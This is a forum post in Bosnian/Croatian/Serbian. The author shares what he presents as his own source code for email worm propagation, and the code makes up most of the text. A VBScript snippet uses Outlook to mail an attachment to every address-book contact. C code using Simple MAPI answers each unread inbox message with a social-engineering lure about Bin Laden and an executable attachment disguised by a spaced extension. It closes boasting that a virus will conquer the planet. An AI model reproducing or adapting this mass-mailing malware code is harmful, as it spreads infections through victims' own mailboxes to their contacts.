Znao sam da sam moram odgovoriti na ovu svu raspravu! ccccc
opet moji izvorni kodovi sve objasnjavaju:
---------------------------------------------------------------------------------------------
direktno slanje preko outlooka:
---------------------------------------
dim a23:set a23 = CreateObject("OUTLOOK.APPLICATION"): With a23.GetNamespace("MAPI"): .Logon "profile", "password"
for t = 1 to .CurrentUser.Session.AddressLists.Count
for r = 1 to .CurrentUser.Session.AddressLists.(t).AddressEntries.Count
set h = .CurrentUser.Session.AddressLists(t).AddressEntries(r):With a23.CreateItem(rnd*0)
.Recipients.Add h:.Subject = "hi":.Body = "Hello":.Attachments.Add "C:autoexec.bat":.Send
h = "":End With:End With
---------------------------------------------------
e sad ide nesto bolje: (opet moj source)
---------------------------------------------------
login=GetProcAddress(hndMejl, "MAPILogon");
LoginOff=GetProcAddress(hndMejl, "MAPILogoff");
mNext=GetProcAddress(hndMejl, "MAPIFindNext");
mRead=GetProcAddress(hndMejl, "MAPIReadMail");
mSend=GetProcAddress(hndMejl, "MAPISendMail");
mFree=GetProcAddress(hndMejl, "MAPIFreeBuffer");
login(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&sesija); // logujemo se...
if(mNext(sesija,0,NULL,NULL,MAPI_UNREAD_ONLY,
NULL,mID)==SUCCESS_SUCCESS) // nadjemo prvu neprocitanu poruku....
{
do {
if(mRead(sesija,NULL,mID,MAPI_SUPPRESS_ATTACH |
MAPI_PEEK,NULL,&m)==SUCCESS_SUCCESS) // procitamo je....
SetThreadPriority(NULL,THREAD_PRIORITY_HIGHEST); // prioritetnost procesa je na nivou ;)
{
strcpy(adresa,m->lpOriginator->lpszAddress);
m->ulReserved=0;
m->lpszSubject="Bin Ladenov zivot";
m->lpszNoteText="Ako jos do sada niste znali ko je Bin Laden ondan"
"vjerovatno cete naci ovaj dokument interesantnimn"
"u kojem je prikazano nekoliko vaznih momenata un"
"u njegovom zivotu, cak dok je jos radio pri CIA!";
m->lpszMessageType=NULL;
m->lpszDateReceived=NULL;
m->lpszConversationID=NULL;
m->flFlags=MAPI_UNREAD;
m->lpOriginator->ulReserved=0;
m->lpOriginator->ulRecipClass=MAPI_ORIG;
m->lpOriginator->lpszName=m->lpRecips->lpszName;
m->lpOriginator->lpszAddress=m->lpRecips->lpszAddress;
m->nRecipCount=1;
m->lpRecips->ulReserved=0;
m->lpRecips->ulRecipClass=MAPI_TO;
m->lpRecips->lpszName=m->lpOriginator->lpszName;
m->lpRecips->lpszAddress=adresa;
m->nFileCount=1;
m->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
memset(m->lpFiles, 0, sizeof(MapiFileDesc));
m->lpFiles->ulReserved=0;
m->lpFiles->flFlags=NULL;
m->lpFiles->nPosition=-1;
m->lpFiles->lpszPathName=vIme;
m->lpFiles->lpszFileName="Bin Ladenov zivot .exe"; // kud ce extenzija, Boze dragi?
m->lpFiles->lpFileType=NULL;
mSend(sesija, NULL, m, NULL, NULL); // onda napravimo poruku i posaljemo je...
}
}while(mNext(sesija,0,NULL,mID,MAPI_UNREAD_ONLY,
NULL,mID)==SUCCESS_SUCCESS); // radi ovako sve dok neprocitanih poruka u INBOXu
-------------------------------------------------------------------------------
e... ovdje se logujemo na default email client...(OE,O)...te onda neprocitane poruke procitamo i sastavimo od njih poruku te je posaljemo ali naravno sa attachom...;)
ima toga jos ali samo eto toliko....pa se see ya ....
Dan dolazi kad ce virus zavladati
planetom,
i sve sto mu se u putu nadje
....IZUMRIJECE!